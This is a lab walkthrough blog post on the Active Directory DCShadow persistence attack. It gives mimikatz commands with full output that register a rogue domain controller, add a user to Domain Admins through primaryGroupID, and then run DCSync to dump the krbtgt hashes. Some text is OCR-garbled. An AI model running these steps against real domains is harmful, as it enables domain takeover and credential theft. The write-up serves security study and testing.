## **Domain Persistence: DC Shadow Attack**

June 8, 2020 By Raj Chandel

In this post, we are going to discuss the most dynamic attack on AD named as DC Shadow attack. It is part of Persistence which create rogue Domain controller in the network. This attack is an actual threat because of This attack leverage into another dynamic attack such as DCSync Attack and Golden ticket Attack.

## **DCShadow Attack**

Deshadow is a feature in mimikatz that manipulating Active Directory (AD) data, including objects and schemas, by registering and replicating the behaviour of a Domain Controller (DC). It simulates the behaviour of a Domain Controller (using protocols like RPC used only by DC) to inject its own data, bypassing most of the common security controls and including your SIEM. It shares some similarities with the DCSync attack (already present in the lsadump module of mimikatz)

It is a post-exploitation attack (also called domination attack) because it requires domain admin (or enterprise admin) privileges

## **Description of the attack**

The attacks are done using the following steps:

- registering the "DC" by creating 2 objects in the CN=Configuration partition and altering the SPN of the computer used.
- Pushing the data (triggered using DrsReplicaAdd, KCC or other internal AD events)
- Removing the object previously created to demote the DC

## Walkthrough

Using the compromised user account we identify the identity of logon user "Yashika" and notice it is member of Domain User group.

```
C:\Users\yashika.IGNITE>net user yashika /domain «
The request will be processed at a domain controller for domain ignite.local.
User name
                             yashika
Full Name
                             yashika
Comment
User's comment
Country/region code
                             000 (System Default)
Account active
                             Yes
Account expires
                             Never
                             [5/ 28/ 2020 1:44:29 PM
Password last set
Password expires
                             Never
                             5/ 29/ 2020 1:44:29 PM
Password changeable
Password required
                             Yes
User may change password
                             Yes
Workstations allowed
                             A11
Logon script
User profile
Home directory
Last logon
                             [5/ 28/ 2020 2:17:26 PM
Logon hours allowed
                             A11
Local Group Memberships
Global Group memberships
                             *Domain Users
The command completed successfully.
C:\Users\yashika.IGNITE>_
```

To perform the DC SHADOW attack, you need to download and install mimikatz inside the host machine and run it as an administrator in order to execute "!+" and "!processtoken" command. This will register and start mimidry service and try to elevate for privilege token thus it provides privilege to call kernel-level functions via a user-mode application.

!+ !processtoken token::whoami

Thus with the help of "token::whoami" we can enumerate the current identity. As you can observe that it has shown "NT Authority/System" privilege.

```
mimikatz # !+

[+] 'mimidrv' service already registered

[*] 'mimidrv' service already started

mimikatz # !processtoken

Token from process 0 to process 0

* from 0 will take SYSTEM token

* to 0 will take all 'cmd' and 'mimikatz' process

Token from 4/System

* to 2084/mimikatz.exe

mimikatz # token::whoami

* Process Token : {0;000003e7} 1 D 2818155

* Thread Token : no token

mimikatz #

mimikatz #
```

Now execute the following command which will mimic as a bogus domain controller in the network and try to add user Yashika in the domain admin group.

lsadump::dcshadow /object:yashika /attribute:primaryGroupID /value:512

```
mimikatz # lsadump::dcshadow /object:yashika /attribute:primaryGroupID /value:512
** Domain Info **
Domain:
                DC=ignite,DC=local
Configuration: CN=Configuration,DC=ignite,DC=local
                CN=Schema, CN=Configuration, DC=ignite, DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=igni
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 86291
** Server Info **
Server: WIN-S0V7KMTVLD2.ignite.local
 InstanceId : {8d93763c-4e7f-4798-8be8-cbe5efdbd671}
 InvocationId: {e6548b1b-c10c-4d89-b0eb-33bde02e35d3}
Fake Server (not already registered): Client1.ignite.local
** Attributes checking **
#0: primaryGroupID
** Objects **
#0: yashika
DN:CN=yashika,OU=Tech,DC=ignite,DC=local
 primaryGroupID (1.2.840.113556.1.4.98-90062 rev 1):
    512
    (00020000)
** Starting server **
> BindString[0]: ncacn_ip_tcp:Client1[49919]
> RPC bind registered
> RPC Server is waiting!
== Press Control+C to stop ==
```

Open one more mimikatz in a new terminal and execute the following command which will try to push bogus domain controller into legitimate.

lsadump::dcshadow /push

```
mimikatz # token::whoami
* Process Token : {0;002fe00e} 1 D 3139026
                                                 IGNITE\Administrator
                                                                         5-1-5-21
 * Thread Token : no token
mimikatz # lsadump::dcshadow /push
** Domain Info **
Domain:
                DC=ignite,DC=local
Configuration: CN=Configuration,DC=ignite,DC=local
Schema:
                CN=Schema, CN=Configuration, DC=ignite, DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 86292
** Server Info **
Server: WIN-S0V7KMTVLD2.ignite.local
 InstanceId : {8d93763c-4e7f-4798-8be8-cbe5efdbd671}
 InvocationId: {e6548b1b-c10c-4d89-b0eb-33bde02e35d3}
Fake Server (not already registered): Client1.ignite.local
** Performing Registration **
** Performing Push **
Syncing DC=ignite,DC=local
Sync Done
** Performing Unregistration **
mimikatz #
```

So, after executing the above-mentioned command, we checked identity for user yashika again and noticed that this time it becomes the member of the domain admin group.

```
net user yashika /Domain
```

Why DCshadow is a dynamic attack, because if you have added the user into PrimaryGroupID object then it will be not easy for an administrator to remove any user from inside domain admin group.

```
C:\Users\yashika.IGNITE>net user yashika /domain
The request will be processed at a domain controller for domain ignite.local.
User name
                             yashika
Full Name
                             yashika
Comment
User's comment
Country/region code
                             000 (System Default)
Account active
                             Yes
Account expires
                             Never
                             5/ 28/ 2020 1:44:29 PM
Password last set
                             Never
Password expires
Password changeable
                             [5/[29/[2020 1:44:29 PM
Password required
                             Yes
User may change password
                             Yes
Workstations allowed
                             A11
Logon script
User profile
Home directory
Last logon
                             [5/ 28/ 2020 2:23:25 PM
Logon hours allowed
                             A11
Local Group Memberships
                             *Domain Admins
Global Group memberships
The command completed successfurry.
C:\Users\yashika.IGNITE>
```

This attack also becomes a ladder for carrying out other attacks like the DCsync attack. As we discussed earlier, if a host is a member of a privileged group such as a domain administrator or enterprise, an intruder can imitate as a domain controller with desync attacks and can request user NTLM hashes from other domain controllers on the network, read more about it from here.

```
lsadump::dcsync /domain:ignite.local /user:krbtgt
```

Once the intruder is able to get hashes of KDC server, further he can carry out the Golden Ticket attack which read from here, therefore we called DC Shadow is the most dynamic attack on AD.

```
mimikatz # lsadump::dcsync /domain:ignite.local /user:krbtgt
[DC] 'ignite.local' will be the domain
[DC] 'WIN-S0V7KMTVLD2.ignite.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN
                     : krbtgt
** SAM ACCOUNT **
SAM Username
                    : krbtgt
                    : 30000000 ( USER_OBJECT )
Account Type
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration
Password last change : 4/15/2020 5:42:33 AM
Object Security ID : S-1-5-21-3523557010-2506964455-2614950430-502
Object Relative ID
                     : 502
Credentials:
 Hash NTLM: f3bc61e97fb14d18c42bcbf6c3a9055f
   ntlm- 0: f3bc61e97fb14d18c42bcbf6c3a9055f
    lm - 0: 439bd1133f2966dcdf57d6604539dc54
Supplemental Credentials:
 Primary:NTLM-Strong-NTOWF *
    Random Value : 4698d716313a2204caaf4dcc34f8bab1
 Primary: Kerberos-Newer-Keys *
   Default Salt : IGNITE.LOCALkrbtgt
   Default Iterations: 4096
   Credentials
     aes256 hmac
                        (4096) : 0ee14e01f5930c961d9ba5e8341fa19f8ebeed3f1c08
     aes128 hmac
                        (4096) : 5f1afdbcd094511034dfaae0c3b4785f
     des cbc md5
                        (4096): e6b39ee93b4c5246
 Primary:Kerberos *
   Default Salt : IGNITE.LOCALkrbtgt
   Credentials
     des_cbc_md5
                      : e6b39ee93b4c5246
 Packages *
   NTLM-Strong-NTOWF
```

Reference: https://www.dcshadow.com/